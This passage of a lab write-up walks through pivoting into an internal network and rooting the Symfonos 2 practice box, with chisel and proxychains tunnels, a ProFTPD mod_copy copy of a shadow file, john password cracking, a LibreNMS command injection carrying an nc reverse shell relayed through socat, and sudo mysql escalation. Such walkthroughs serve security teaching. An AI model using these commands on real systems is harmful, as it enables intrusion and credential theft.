[+] Route added to subnet 10.10.0.0/255.255.255.0 from host's routing table.
[+] Route added to subnet 192.168.1.0/255.255.255.0 from host's routing table.

IPv4 Active Routing Table
   Subnet        Netmask         Gateway
   10.10.0.0     255.255.255.0   Session 2
   192.168.1.0   255.255.255.0   Session 2

Note the detail: autoroute does not take our word for it, it reads the victim's own routing table and adds the two networks it finds. With the route in place, the port scan works against the unreachable host:

use auxiliary/scanner/portscan/tcp
set RHOSTS 10.10.0.128
run

metasploit's portscan against 10.10.0.128 through the route finds 21, 22, 80, 139 and 445 open

[+] 10.10.0.128:  - 10.10.0.128:21 - TCP OPEN
[+] 10.10.0.128:  - 10.10.0.128:22 - TCP OPEN
[+] 10.10.0.128:  - 10.10.0.128:80 - TCP OPEN
[+] 10.10.0.128:  - 10.10.0.128:139 - TCP OPEN
[+] 10.10.0.128:  - 10.10.0.128:445 - TCP OPEN
[*] Scanned 1 of 1 hosts (100% complete)

That route only exists inside Metasploit: a plain nmap would still see nothing. For the rest of the tooling (and the browser) to reach it, each port has to be pushed out to a local one with portfwd:

sessions 2
portfwd add -l 8080 -p 80 -r 10.10.0.128
portfwd add -l 2222 -p 22 -r 10.10.0.128
portfwd add -l 2121 -p 21 -r 10.10.0.128
portfwd add -l 139 -p 139 -r 10.10.0.128
portfwd add -l 445 -p 445 -r 10.10.0.128
bg

portfwd creates five local TCP relays, 8080 to the remote 80, 2222 to 22, 2121 to 21 and 139 and 445 as they are

[*] Forward TCP relay created: (local) :8080 -> (remote) 10.10.0.128:80
[*] Forward TCP relay created: (local) :2222 -> (remote) 10.10.0.128:22
[*] Forward TCP relay created: (local) :2121 -> (remote) 10.10.0.128:21
[*] Forward TCP relay created: (local) :139  -> (remote) 10.10.0.128:139
[*] Forward TCP relay created: (local) :445  -> (remote) 10.10.0.128:445
[*] Backgrounding session 2 ...

And it works: http://localhost:8080 already serves the unreachable box's site, another classical painting.

the browser at localhost:8080 shows a classical fresco served by 10.10.0.128 through the portfwd

The problem with this method is stability: the relays drop after a while, or as soon as a web enumeration with many requests runs. And the ports have to be declared one by one, which forces a scan first. Hence the second route.

Route 2: chisel + proxychains

We stand up a reverse SOCKS with chisel (repo): server on the attacker, client on Symfonos 1. With that, proxychains routes any tool into the internal network, with no ports to declare.

First the binary is prepared on the attacker and shared over HTTP:

wget https://github.com/jpillora/chisel/releases/download/v1.7.7/chisel_1.7.7_linux_amd64.gz
gunzip chisel_1.7.7_linux_amd64.gz
mv chisel_1.7.7_linux_amd64 chisel
chmod +x chisel
python3 -m http.server 80
# on the victim
wget http://192.168.1.80/chisel
chmod +x chisel
./chisel

on the right chisel 1.7.7 is downloaded, unpacked and served over HTTP; on the left the victim pulls it into /dev/shm and running it prints its help with version 1.7.7

-rw-r--r-- 1 root root 3234355 Jan 31  2022 chisel_1.7.7_linux_amd64.gz
-rw-r--r-- 1 root root 8077312 Jan 31  2022 chisel_1.7.7_linux_amd64
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.1.151 - - [10/Feb/2025 14:55:24] "GET /chisel HTTP/1.1" 200 -

helios@symfonos:/dev/shm$ wget http://192.168.1.80/chisel
2025-02-10 07:55:24 (75.6 MB/s) - 'chisel' saved [8077312/8077312]
helios@symfonos:/dev/shm$ ./chisel
  Usage: chisel [command] [--help]
  Version: 1.7.7 (go1.17.6)
  Commands:
    server - runs chisel in server mode
    client - runs chisel in client mode

The binary is dropped in /dev/shm, which is shared memory: writable by anyone and leaving no trace on disk.

With chisel on both ends, the first way to use it is port by port, no SOCKS:

# attacker
./chisel server --reverse -p 1234
# Symfonos 1 (pivot)
./chisel client 192.168.1.80:1234 R:80:10.10.0.128:80 R:22:10.10.0.128:22

the chisel server in reverse mode accepts the client session and opens two tunnels, R:80 to 10.10.0.128:80 and R:22 to 10.10.0.128:22

server: Reverse tunnelling enabled
server: Fingerprint pSNw44RyXE/8D2qpNjChIv89c9MaLWW+hR9BG0LMYks=
server: Listening on http://0.0.0.0:1234
server: session#1: tun: proxy#R:80=>10.10.0.128:80: Listening
server: session#1: tun: proxy#R:22=>10.10.0.128:22: Listening

client: Connecting to ws://192.168.1.80:1234
client: Connected (Latency 779.748us)

It works, but it carries the same problem as Metasploit's portfwd: the ports have to be known in advance and declared one at a time. The good way is standing up a SOCKS proxy, which forwards everything with nothing enumerated. First it goes into proxychains's config, as the last line of the [ProxyList] section:

sudo nano /etc/proxychains4.conf

proxychains4.conf open in nano with the socks5 127.0.0.1 1080 line added at the end of ProxyList

[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
#socks4         127.0.0.1 9050
socks5 127.0.0.1 1080

And the client is launched as before but with R:socks instead of a port list:

# attacker
./chisel server --reverse -p 1234
# Symfonos 1 (pivot)
./chisel client 192.168.1.80:1234 R:socks

the chisel server opens a single tunnel, proxy R:127.0.0.1:1080 to socks, and the client connects with 1.1 ms latency

server: Reverse tunnelling enabled
server: Fingerprint oFpvoNTsTTFYlq49h2lJ8sXaYGxw3FCyGt+v8inHkw4=
server: Listening on http://0.0.0.0:1234
server: session#1: tun: proxy#R:127.0.0.1:1080=>socks: Listening

client: Connecting to ws://192.168.1.80:1234
client: Connected (Latency 1.115418ms)

A single tunnel, R:127.0.0.1:1080=>socks, and every port of the internal network goes through it without being declared.

The browser knows nothing about proxychains, so to see it in Firefox the proxy has to be handed over with FoxyProxy: type SOCKS5, 127.0.0.1 and port 1080, with Proxy DNS on so names resolve on the far side too.

FoxyProxy's configuration with a SYMFONOS 2 profile of type SOCKS5 pointing at 127.0.0.1 port 1080 with Proxy DNS enabled

Title: SYMFONOS 2
Type: SOCKS5
Hostname: 127.0.0.1
Port: 1080
Proxy DNS: on

With that profile selected, the browser reaches the internal IP directly, with no localhost: in the way:

the browser opens http://10.10.0.128 with the SYMFONOS 2 profile active in FoxyProxy and loads the internal box's site

Symfonos 2 recon

With the tunnel up, we scan 10.10.0.128 through the proxy. Only complete TCP connections travel over SOCKS, so -sT (connect scan) and -Pn are not optional: a -sS crafts raw packets, which the proxy cannot forward.

proxychains nmap -Pn -sT --top-ports 1500 -T5 -vvv -n -oG scan 10.10.0.128 2>/dev/null

the nmap through proxychains finds five open ports on 10.10.0.128: 21, 22, 80, 139 and 445

Not shown: 1495 closed tcp ports (conn-refused)
PORT    STATE SERVICE      REASON
21/tcp  open  ftp          syn-ack
22/tcp  open  ssh          syn-ack
80/tcp  open  http         syn-ack
139/tcp open  netbios-ssn  syn-ack
445/tcp open  microsoft-ds syn-ack

Five ports, almost the same profile as Symfonos 1 but with an FTP where the SMTP was. The version scan, also through the proxy:

proxychains nmap -sT -Pn -sCV -n -p21,22,80,139,445 -oN targeted 10.10.0.128 2>/dev/null

the version scan through proxychains identifies ProFTPD 1.3.5, OpenSSH 7.4p1, WebFS httpd 1.21 and Samba 4.5.16, with the symfonos2 hostname

PORT    STATE SERVICE     VERSION
21/tcp  open  ftp         ProFTPD 1.3.5
22/tcp  open  ssh         OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
80/tcp  open  http        WebFS httpd 1.21
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: webfs/1.21
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 4.5.16-Debian (workgroup: WORKGROUP)
Service Info: Host: SYMFONOS2; OSs: Unix, Linux

Host script results:
| smb-os-discovery:
|   OS: Windows 6.1 (Samba 4.5.16-Debian)
|   Computer name: symfonos2
|_  FQDN: symfonos2

Two versions ask for attention. OpenSSH 7.4p1 is the same old one as before. And above all ProFTPD 1.3.5, which carries the mod_copy module. The WebFS httpd 1.21 on 80 is not Apache but a minimal static file server, which already hints there will be no application to attack there.

whatweb through the proxy does not contradict it, though it reports the local 127.0.0.1 because it comes down the tunnel:

proxychains whatweb http://127.0.0.1 2>/dev/null

whatweb through the proxy returns 200 OK with Apache 2.4.25 on Debian and the tunnel's 127.0.0.1 address

http://127.0.0.1 [200 OK] Apache[2.4.25], Country[RESERVED][ZZ],
HTTPServer[Debian Linux][Apache/2.4.25 (Debian)], IP[127.0.0.1]

Wappalyzer, now in the browser through the SOCKS tunnel, adds a single fact nmap did not give: PHP.

another full-screen classical painting and Wappalyzer detecting only PHP as the language

Programming languages: PHP

And the landing page is, again, a full-screen painting. The source is fourteen lines, even terser than Symfonos 1's:

the view-source of symfonos2's landing page: fourteen lines with a style making the image cover the window and an img src equal to image.jpg

<html>
<style>
html,body{ margin:0; height:100%;}
img{ display:block; width:100%; height:100%; object-fit: cover;}
</style>
<body>
<img src="image.jpg">
</body>
</html>

Content discovery confirms the diagnosis: nothing beyond the Apache manual and server-status.

proxychains dirsearch -u http://localhost --exclude-status=403,404 2>/dev/null

dirsearch through the proxy only finds /manual and /server-status

[17:39:11] 301 -   307B - /manual  ->  http://localhost/manual/
[17:39:11] 200 -   201B - /manual/index.html
[17:39:21] 200 -     2KB - /server-status
[17:39:21] 200 -     2KB - /server-status/
Task Completed

The web is not the way. Once again, it is SMB's turn.

Symfonos 2: mod_copy, LibreNMS and sudo mysql

SMB: path leak in log.txt

SMB exposes an anonymous share, this time without the previous box's helios, and inside there is a backups directory:

proxychains smbclient -N -L 10.10.0.128 2>/dev/null
proxychains smbclient \\\\10.10.0.128\\anonymous 2>/dev/null
ls
cd backups
ls
get log.txt
exit

smbclient through the proxy lists print$, anonymous and IPC$, enters anonymous with no password and downloads backups/log.txt at 11394 bytes

        Sharename       Type      Comment
        print$          Disk      Printer Drivers
        anonymous       Disk
        IPC$            IPC       IPC Service (Samba 4.5.16-Debian)

Password for [WORKGROUP\root]:
smb: \> ls
  backups             D        0  Thu Jul 18 16:25:17 2019
smb: \> cd backups\
smb: \backups\> ls
  log.txt             N    11394  Thu Jul 18 16:25:16 2019
smb: \backups\> get log.txt

The Password for [WORKGROUP\root]: is answered with a blank Enter: the share accepts an anonymous session. Inside, an 11 KB log.txt documents two golden paths:

log.txt showing /etc/shadow was copied to /var/backups/shadow.bak and the Samba configuration

The same file, further down, includes the whole smb.conf, and there is the second piece: which directory on disk the anonymous share maps to.

batcat log.txt -l bash

log.txt contains the smb.conf and in it the anonymous section reads path equals /home/aeolus/share, browseable and guest ok

[print$]
   comment = Printer Drivers
   path = /var/lib/samba/printers
   browseable = yes
   read only = yes
   guest ok = no

[anonymous]
   path = /home/aeolus/share
   browseable = yes
   read only = yes
   guest ok = yes

Now we have a source (/var/backups/shadow.bak) and a destination (/home/aeolus/share, which is the anonymous share). Exactly what mod_copy needs. In passing, that path leaks a new user: aeolus.

ProFTPD mod_copy: copy shadow.bak to the share

With the FTP's exact version, searchsploit looks it up:

searchsploit ProFTPD 1.3.5
searchsploit -x linux/remote/36742.txt

searchsploit returns four entries for ProFTPd 1.3.5, three mod_copy Command Execution ones and a File Copy highlighted

ProFTPd 1.3.5 - 'mod_copy' Command Execution (Metasploit)  | linux/remote/37262.rb
ProFTPd 1.3.5 - 'mod_copy' Remote Command Execution        | linux/remote/36803.py
ProFTPd 1.3.5 - 'mod_copy' Remote Command Execution (2)    | linux/remote/49908.py
ProFTPd 1.3.5 - File Copy                                  | linux/remote/36742.txt

Four entries, three of command execution and one File Copy. The last is the one that fits here, and its .txt explains the flaw in two sentences:

the 36742.txt write-up explains that mod_copy lets SITE CPFR and SITE CPTO be used by unauthenticated clients, and shows a sample session

Description TJ Saunders 2015-04-07 16:35:03 UTC
Vadim Melihow reported a critical issue with proftpd installations that use the
mod_copy module's SITE CPFR/SITE CPTO commands; mod_copy allows these commands
to be used by *unauthenticated clients*:

Trying 80.150.216.115 ...
Connected to 80.150.216.115.
220 ProFTPD 1.3.5rc3 Server (Debian)
site help

There is the key, underlined by the author himself: *unauthenticated clients*. The SITE CPFR/SITE CPTO commands of mod_copy copy files within the server without authentication. They pull nothing out to our machine, but they move files from one path to another inside the victim, and that is exactly what is needed: getting shadow.bak into the shared directory.

FTP session over proxychains: site cpfr /var/backups/shadow.bak then site cpto /home/aeolus/share/shadow.bak with a 250 Copy successful reply

proxychains ftp 10.10.0.128
site cpfr /var/backups/shadow.bak
site cpto /home/aeolus/share/shadow.bak

And we read it from the SMB share, where it now sits next to the earlier backups:

proxychains smbclient -U '' \\\\10.10.0.128\\anonymous 2>/dev/null
ls
get shadow.bak
exit
cat shadow.bak

the anonymous share now lists shadow.bak at 1173 bytes next to backups, it is downloaded and cat shows root's hash and the rest of the system accounts

smb: \> ls
  backups             D        0  Thu Jul 18 16:25:17 2019
  shadow.bak          N     1173  Mon Feb 10 19:01:17 2025
smb: \> get shadow.bak

$ cat shadow.bak
root:$6$VTftENaZ$ggY84BSFETwhissv0N6mt2VaQN9k6/HzwwmTtVkDtTbCbqofFO8MVW.IcOKIzuI07m36uy9.565qelr/beHer.:18095:0:99999:7:::
daemon:*:18095:0:99999:7:::
bin:*:18095:0:99999:7:::
www-data:*:18095:0:99999:7:::

The copy worked: the file is there, with today's date against backups's 2019. Most system accounts carry a * instead of a hash (they cannot log in), so a grep '\$' keeps only the ones that do have a password:

cat shadow.bak | grep '\$' | cut -d ':' -f 1-2 > hashes.txt

grep filters the three lines with a hash, root, aeolus and cronus, and cut leaves user and hash separated by a colon

root:$6$VTftENaZ$ggY84BSFETwhissv0N6mt2VaQN9k6/HzwwmTtVkDtTbCbqofFO8MVW.IcOKIzuI07m36uy9.565qelr/beHer.
aeolus:$6$dgjUjE.Y$G.dJZCM8.zKmJc9t4iiK9d723/bQ5kE1ux7ucBoAgOsTbaKmp.0iCljaobCntN3nCxsk4DLMy0qTn8ODPlmLG.
cronus:$6$wOmUfiZO$WajhRWpZyuHbjAbtPDQnR3oVQeEKtZtYYElWomv9xZLOhz7ALkHUT2Wp6cFFg1uLCq49SYel5goXroJ0SxU3D/

Three users with a password: root, aeolus (the one from smb.conf) and a new one, cronus.

Cracking the sha512crypt hash

Before firing john it pays to confirm the algorithm, because a wrong --format breaks nothing. The $6$ prefix gives it away, and a hash identifier confirms it:

a hash identifier recognises the $6$ prefix as sha512crypt, SHA512 on Unix

Possible identifications:
$6$VTftENaZ$ggY84BSFETwhissv0N6mt2VaQN9k6/HzwwmTtVkDtTbCbqofFO8MVW.IcOKIzuI07m36uy9.565qelr/beHer.
  - Possible algorithms: sha512crypt $6$, SHA512 (Unix)

With the format confirmed, john breaks one of the three:

John cracking the sha512crypt hash: aeolus yields the password sergioteamo

john --format=sha512crypt --wordlist=/home/krmena/rockyoudir/rockyou.txt --fork=5 hashes.txt
# sergioteamo   (aeolus)

Only aeolus's falls. root's and cronus's hold out against the wordlist, which sets the path: get in as aeolus and escalate from inside.

SSH as aeolus

aeolus:sergioteamo is valid over SSH (always through the proxy):

proxychains ssh aeolus@10.10.0.128
id

the ssh through proxychains logs in as aeolus on symfonos2, a Debian with kernel 4.9.0-9-amd64, and id returns uid 1000

aeolus@10.10.0.128's password:
Linux symfonos2 4.9.0-9-amd64 #1 SMP Debian 4.9.168-1+deb9u3 (2019-06-16) x86_64
Last login: Mon Feb 10 10:52:03 2025 from 10.10.0.130
aeolus@symfonos2:~$ id
uid=1000(aeolus) gid=1000(aeolus) groups=1000(aeolus),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev)

The Last login ... from 10.10.0.130 is a nice touch: the last recorded connection comes from Symfonos 1, which is exactly where we are coming in from.

First, getting oriented:

echo -e "\nSO: "$(uname) && echo "Kernel Version: "$(uname -r) && echo "User: "$(whoami) && echo "Machine Name: "$(hostname) && echo "IP(s): "$(hostname -I) && echo -e "Information User: "$(id)"\n"

the recon one-liner prints SO Linux, kernel 4.9.0-9-amd64, user aeolus, hostname symfonos2 and IP 10.10.0.128

SO: Linux
Kernel Version: 4.9.0-9-amd64
User: aeolus
Machine Name: symfonos2
IP(s): 10.10.0.128
Information User: uid=1000(aeolus) gid=1000(aeolus) groups=1000(aeolus),...

The SUID binaries, filtering out the usual system ones so they do not clutter the list:

find / -perm -4000 2>/dev/null | grep -vE "mount|ping|chfn|chsh|gpasswd|newgrp|passwd|sudo|su"
/usr/sbin/exim4 --version

find leaves only four SUID entries and highlights /usr/sbin/exim4, whose version turns out to be Exim 4.89 from 2019

/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/sbin/exim4

$ /usr/sbin/exim4 --version
Exim version 4.89 #2 built 28-May-2019 20:13:55

The SUID exim4 stands out (4.89 carries known CVEs), but first it is worth looking at what the box is listening on internally:

ss -tuln

ss -tuln shows services listening only on localhost, among them MySQL's 3306 and a highlighted 8080

Netid State  Recv-Q Send-Q  Local Address:Port
tcp   LISTEN 0      80      127.0.0.1:3306
tcp   LISTEN 0      128     127.0.0.1:8080
tcp   LISTEN 0      50      *:139
tcp   LISTEN 0      32      *:21
tcp   LISTEN 0      128     *:22
tcp   LISTEN 0      20      127.0.0.1:25
tcp   LISTEN 0      64      :::80

There is the interesting bit: a 127.0.0.1:8080 that never showed up in any scan because it only listens on loopback. And a MySQL on 3306, also local.

An internal LibreNMS (port forwarding + reuse)

The 8080 only listens on loopback, so from outside it does not exist. Since we already have SSH, we bring it closer with a local port forward: the SOCKS tunnel gets us to the box and, on top of that session, -L pushes its 127.0.0.1:8080 out to a local port of ours.

proxychains ssh -L 4321:127.0.0.1:8080 aeolus@10.10.0.128 2>/dev/null

the ssh through proxychains with -L 4321 to the victim's local 8080 logs in as aeolus

aeolus@10.10.0.128's password:
Linux symfonos2 4.9.0-9-amd64 #1 SMP Debian 4.9.168-1+deb9u3 (2019-06-16) x86_64
Last login: Mon Feb 10 12:52:00 2025 from 10.10.0.130
aeolus@symfonos2:~$

These are two chained tunnels: chisel's SOCKS to reach 10.10.0.128, and inside it SSH's -L to reach that box's 127.0.0.1. At localhost:4321 a LibreNMS answers:

the browser at localhost:4321/login shows LibreNMS's login panel, with the SYMFONOS 2 profile active in FoxyProxy

LibreNMS
  Username
  Password
  Remember Me
  Login
Unauthorised access or use shall render the user liable to criminal and/or civil prosecution.

We try aeolus's password on the panel:

LibreNMS's form filled in with aeolus and sergioteamo

Username: aeolus
Password: sergioteamo

LibreNMS panel open with the "Welcome aeolus" message after reusing his password

Welcome aeolus

The panel greets us with Welcome aeolus: aeolus's SSH password works here too, textbook credential reuse.

RCE when adding a device

With a valid session, searchsploit looks for the rest:

searchsploit LibreNMS
searchsploit -x php/webapps/47044.py

searchsploit returns five LibreNMS entries, with 1.46's addhost Remote Code Execution highlighted

LibreNMS - addhost Command Injection (Metasploit)               | linux/remote/46970.rb
LibreNMS - Collectd Command Injection (Metasploit)              | linux/remote/47375.rb
LibreNMS 1.46 - 'addhost' Remote Code Execution                 | php/webapps/47044.py
LibreNMS 1.46 - 'Search' SQL Injection                          | multiple/webapps/48453.txt
LibreNMS 1.46 - MAC Accounting Graph Authenticated SQL Injection | multiple/webapps/49246.py

The middle one, 47044.py, is what matters. There is no need to run it: reading its code shows exactly which form field is the vulnerable one.

47044.py's code with the create_new_device function and the community equals payload field highlighted among the rest of the add-host parameters

def create_new_device(url):
    raw_request = {
        "hostname": hostname,
        "snmp": "on",
        "snmpver": "v2c",
        "port": "",
        "transport": "udp",
        "community": payload,
        "authlevel": "noAuthnoPriv",
        "force_add": "on",
        "Submit": ""
    }
    full_url = url + "/addhost/"
    request_body = urlencode(raw_request)

There it is: of every add-host parameter, the only one receiving the payload is community, the SNMP community string (command injection). Knowing that, the exploit can be reproduced by hand from the interface itself.

The network detail: the machine cannot reach the attacker (they are on different segments), so the reverse shell aims at the pivot (Symfonos 1, 10.10.0.130), which relays it with socat. First the listener on the attacker:

nc -nlvp 4422

the nc listener waiting on port 4422 on the attacking machine

listening on [any] 4422 ...

And on the pivot, the socat acting as the bridge. fork allows more than one connection, and TCP-LISTEN/TCP together turn Symfonos 1 into a plain relay:

socat TCP-LISTEN:4422,fork TCP:192.168.1.80:4422

in helios's shell on symfonos, socat is launched listening on 4422 and relaying to 192.168.1.80 port 4422

helios@symfonos:/dev/shm$ socat TCP-LISTEN:4422,fork TCP:192.168.1.80:4422

With the bridge up, the device gets added. The payload goes in the Community field, and Force add has to be ticked so LibreNMS does not discard the host for answering neither ICMP nor SNMP:

'$(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.0.130 4422 >/tmp/f) #

LibreNMS's Add Device form with hostname test, the reverse shell payload in the Community field and Force add ticked

Add Device
  Hostname: test
  SNMP: ON      SNMP Version: v2c      Port Association Mode: ifIndex
  Community: '$(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.0.130 4422 >/tmp/f) #
  [x] Force add - No ICMP or SNMP checks performed
  [ Add Device ]

Note the reverse shell points at 10.10.0.130, Symfonos 1's internal leg, not at our IP: it is socat that carries it out from there.

Once saved, the device shows up under Devices > Server as a Generic Device called test:

LibreNMS's Devices listing shows the freshly created test device as a Generic Device

Vendor  Device  Operating System  Uptime  Location
        test    Generic Device

The payload does not run on save, but when LibreNMS fires an SNMP query at the device. To force it without waiting for the poller, the gear menu has a Capture:

the test device's page with the gear menu open and the Capture option highlighted

test
  Overview | Graphs | Logs | Alerts | Alert Stats | Performance | Notes
  Recent Events:  2025-02-10 13:35:53   Device type changed => server
  [gear] Web | SSH | Telnet | Edit | Capture

Inside Capture Debug Information, the SNMP tab and the Run button fire the query, and with it the poisoned community string:

the Capture Debug Information screen with the SNMP tab selected and the Run button highlighted

Capture Debug Information
  Discovery | Poller | SNMP | Alerts
  [ Run ]  [ Copy ]  [ Download ]
  Output

And the shell reaches the attacker after crossing the socat:

the listener on 4422 catches the connection coming from 192.168.1.151 and whoami returns cronus, in the librenms group

listening on [any] 4422 ...
connect to [192.168.1.80] from (UNKNOWN) [192.168.1.151] 33724
/bin/sh: 0: can't access tty; job control turned off
$ whoami
cronus
$ id
uid=1001(cronus) gid=1001(cronus) groups=1001(cronus),999(librenms)

We are cronus, the third user from shadow.bak, in the librenms group. Note the source IP nc reports: 192.168.1.151, that is Symfonos 1. The real victim never appears, because the pivot relayed the connection.

sudo mysql: escalation to root

sudo -l

sudo -l as cronus shows he can run /usr/bin/mysql as root with no password

Matching Defaults entries for cronus on symfonos2:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User cronus may run the following commands on symfonos2:
    (root) NOPASSWD: /usr/bin/mysql

mysql runnable as root is a textbook GTFOBins entry, and its page gives the exact line:

GTFOBins's Sudo entry for mysql explains it does not drop privileges and gives the sudo mysql -e command with the bang and /bin/sh

Sudo
If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be
used to access the file system, escalate or maintain privileged access.

sudo mysql -e '\! /bin/sh'

The MySQL client's \! runs a system command without leaving the session, and since the client is already running as root, that shell is born with uid=0.

sudo mysql -e '\! /bin/bash' opening a root shell and reading proof.txt: Congrats on rooting symfonos:2!

cronus@symfonos2:/opt/librenms/html$ sudo mysql -e '\! /bin/bash'
root@symfonos2:~# cat proof.txt

          Congrats on rooting symfonos:2!

The MySQL client's \! escapes to a shell that, since mysql runs as root, inherits uid=0: a root shell.

sudo mysql -e '\! /bin/bash'
# cat /root/proof.txt
# Congrats on rooting symfonos:2!

Symfonos 2 rooted.

Attack chain

[192.168.1.0/24]  Symfonos 1
  SMB null session  ->  anonymous/attention.txt (password dictionary)
    └─> spray helios:qwerty  ->  helios share  ->  /h3l105
            └─> WordPress + symfonos.local vhost  ->  Mail Masta plugin (LFI)
                    └─> LFI + SMTP (mailbox /var/mail/helios)  ->  RCE as helios
                            └─> SUID /opt/statuscheck (relative curl)  ->  PATH hijacking  ->  root
                                    └─> 2nd NIC 10.10.0.130 ── chisel R:socks + proxychains ──┐
                                                                                              ▼
[10.10.0.0/24]    Symfonos 2 (10.10.0.128)
  SMB anonymous/log.txt (shadow.bak and share paths)
    └─> ProFTPD 1.3.5 mod_copy (cpfr/cpto)  ->  readable shadow.bak
            └─> john sha512crypt  ->  aeolus:sergioteamo  ->  SSH
                    └─> internal LibreNMS (port forward) + reuse
                            └─> RCE add-device (socat relay)  ->  cronus
                                    └─> sudo mysql (GTFOBins)  ->  root

Lessons learned

  • An SMB null session is a perimeter leak. On Symfonos 1, a readable anonymous share handed over both the password list (the very attention.txt that bans them is the spray dictionary) and the username to spray.
  • An LFI that includes PHP is potential RCE. You don't need a .log: any file the attacker can poison (here the mailbox over SMTP) works as the vehicle. And a SUID that invokes binaries by name is a PATH hijacking: the defence is always the absolute path from privileged code.
  • A machine with two interfaces is a bridge. The first compromised target becomes the door to a network that was unreachable; a SOCKS with chisel + proxychains automates it and brings every tool to 10.10.0.0/24.
  • mod_copy in ProFTPD 1.3.5 is unauthenticated arbitrary file copy. It doesn't give RCE by itself, but moving a shadow.bak to a readable share is enough to grab the hashes. The "informative" logs (log.txt) leaked the exact source and destination: without them, mod_copy led nowhere.
  • Reusing the system password on a web panel chains the attack. aeolus's cracked password also opened LibreNMS, and the RCE came from there. And when pivoting, the reverse shell doesn't always fly direct: if there is no reach between segments, a socat relay on the intermediate machine solves it.
Command cheatsheet 35 commands

Quick review